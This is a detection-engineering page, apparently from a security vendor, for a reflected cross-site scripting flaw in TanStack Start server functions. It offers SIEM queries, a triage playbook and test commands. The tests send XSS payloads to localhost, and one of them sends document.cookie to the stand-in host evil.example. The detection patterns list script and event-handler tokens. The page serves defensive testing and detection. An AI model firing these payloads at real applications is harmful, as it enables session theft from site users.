Detect CVE-2026-102989: TanStack Start Server-Function Reflected XSS in Elastic Security
Detects exploitation attempts and exposure of CVE-2026-102989, an unauthenticated reflected cross-site scripting (XSS) vulnerability (CWE-79, CVSS 9.3) in TanStack Start server-function responses. Affected packages (@tanstack/start-server-core, @tanstack/react-start, @tanstack/solid-start, @tanstack/vue-start) between 1.143.12 and the fixed releases reflect attacker-controlled input from server-function invocations into HTML responses without proper encoding, allowing script injection via crafted requests to the server-function endpoint (typically paths containing _serverFn or the TanStack Start RPC route). This detection looks for XSS payload patterns in requests to server-function endpoints and for HTML responses that reflect those payloads.
MITRE ATT&CK
- Tactic
- Initial Access
Elastic Detection Query
// df00tech DF00-abea8293b4 · https://df00tech.com/detections/CVE-2026-102989 · licence: https://df00tech.com/detections/licence
network where url.path : ("*_serverFn*", "*__tsr*", "*/_server*") and
(url.query : ("*<script*", "*onerror=*", "*onload=*", "*javascript:*", "*%3Cscript*", "*<svg*", "*document.cookie*") or
url.path : ("*<script*", "*%3Cscript*")) and
http.response.status_code >= 200 and http.response.status_code < 300 EQL rule matching TanStack Start server-function requests containing XSS payloads with a successful response.
Data Sources
Required Tables
False Positives & Tuning
- Authorized DAST scanning
- Benign angle-bracket content in request parameters
- Automated regression tests exercising payloads
Other platforms for CVE-2026-102989
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Reflected XSS probe against TanStack Start server-function endpoint
Expected signal: Web access log entry for the _serverFn path containing the URL-encoded <script> payload with a 2xx response on vulnerable builds.
- Test 2 Event-handler XSS payload via server-function query
Expected signal: Access log shows onerror= payload against the server-function route with a successful response.
- Test 3 Cookie-theft XSS payload simulation
Expected signal: HTTP log entry on the __tsr route containing document.cookie and an external fetch in the decoded payload.
References (6)
- https://github.com/TanStack/router/security/advisories/GHSA-qx66-fv34-fjm8
- https://nvd.nist.gov/vuln/detail/CVE-2026-102989
- https://github.com/TanStack/router/pull/8573
- https://github.com/TanStack/router/commit/d521abd71c69f1ff010bb3def4d417cb5fa058cb
- https://github.com/TanStack/router/releases/tag/release-2026-09-30-1747
- https://github.com/advisories/GHSA-qx66-fv34-fjm8
Response Playbook
Triage
- Confirm the target application uses TanStack Start (@tanstack/start-server-core, @tanstack/react-start, @tanstack/solid-start or @tanstack/vue-start) and determine its version via package-lock.json/package.json or the deployed build; compare against the fixed versions (>=1.169.39, >=1.168.60, >=1.168.57, >=1.168.56 per package line).
- Decode the matched request URL/query and determine whether the XSS payload was reflected verbatim in the HTML response body (fetch the response or review proxy response-body logs if captured).
- Identify the source IP, user agent and whether the request was authenticated; this vuln is unauthenticated so anonymous requests reflecting payloads are high priority.
- Check for a cluster of varied payloads from the same source, indicating active probing rather than a single benign hit.
Containment
- Deploy a WAF rule to block requests to server-function endpoints (_serverFn/__tsr) containing HTML/script metacharacters as an immediate mitigation.
- Upgrade the affected @tanstack/*-start package to the fixed release (release-2026-09-30-1747 or later matching your framework line) and redeploy.
Evidence Collection
- Preserve raw web/proxy access logs including full request URL, query, response code and (if available) response body for the implicated time window.
- Capture the deployed package version and lockfile, and export the matching SIEM events and source IP enrichment (geo/ASN/threat intel).
Escalation Criteria
- !Escalate to incident response if the payload is confirmed reflected in a 2xx HTML response AND targets session/credential theft (document.cookie, fetch to external host).
- !Escalate if exploitation requests correlate with subsequent anomalous authenticated activity from victim accounts, suggesting successful session hijack.
Investigation Guide
Forensic Artifacts
- >
Web/proxy access logs with reflected payloads - >
Deployed node_modules/package-lock.json showing vulnerable @tanstack/*-start version - >
WAF event logs - >
Browser/CDN response-body captures showing injected markup
Tuning Guidance
Baseline legitimate server-function argument shapes for your app; many TanStack Start RPC payloads are JSON and rarely contain raw < or script tokens, so angle brackets are a strong signal. Exclude known authorized scanner source IPs. If your app legitimately accepts rich-text/HTML through server functions, narrow the regex to script/event-handler patterns and correlate with reflection in the response body to cut false positives. Prioritize unauthenticated requests and responses with Content-Type text/html.
Hunting Queries
Aggregates XSS probing against server-function endpoints by source IP to surface scanning or exploitation campaigns.
// df00tech DF00-abea8293b4 · https://df00tech.com/detections/CVE-2026-102989 · licence: https://df00tech.com/detections/licence
AppServiceHTTPLogs | where CsUriStem has_any ("_serverFn","__tsr") | extend d=url_decode(CsUriQuery) | where d has_any ("<script","onerror=","javascript:","%3Cscript") | summarize count(), make_set(d) by CIp, bin(TimeGenerated, 1h) ``` df00tech DF00-abea8293b4 · https://df00tech.com/detections/CVE-2026-102989 · licence: https://df00tech.com/detections/licence ```
index=web (uri_path="*_serverFn*" OR uri_path="*__tsr*") | eval d=urldecode(uri_query) | where match(d,"(?i)(<script|onerror=|javascript:|%3Cscript)") | stats count values(d) by clientip Atomic Red Team Tests
Sends a GET request with a script payload to a server-function route to verify detection on vulnerable (pre-fix) instances.
Command
curl -s -k 'https://localhost:3000/_serverFn/getData?input=%3Cscript%3Ealert(document.domain)%3C/script%3E' -H 'User-Agent: atomic-xss-test' Cleanup
echo 'No cleanup required; stateless GET request' Expected Telemetry
Web access log entry for the _serverFn path containing the URL-encoded <script> payload with a 2xx response on vulnerable builds.
Expected Detection
KQL/SPL rules fire on the decoded <script payload against the server-function endpoint.
Tests an img/onerror based payload to confirm detection of non-script XSS vectors.
Command
curl -s -k "https://localhost:3000/_serverFn/search?q=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E" -H 'User-Agent: atomic-xss-test' Cleanup
echo 'No cleanup required' Expected Telemetry
Access log shows onerror= payload against the server-function route with a successful response.
Expected Detection
Detection matches the onerror= and <img patterns in the decoded query.
Simulates a credential-theft payload referencing document.cookie to validate high-severity escalation logic.
Command
powershell -Command "Invoke-WebRequest -UseBasicParsing -Uri 'https://localhost:3000/__tsr?fn=profile&name=%3Cscript%3Efetch(%27//evil.example/%27+document.cookie)%3C/script%3E' -Headers @{'User-Agent'='atomic-xss-test'}" Cleanup
Remove-Item Env:\NONE -ErrorAction SilentlyContinue; Write-Host 'No cleanup required' Expected Telemetry
HTTP log entry on the __tsr route containing document.cookie and an external fetch in the decoded payload.
Expected Detection
Detection fires and triage flags document.cookie exfiltration for escalation.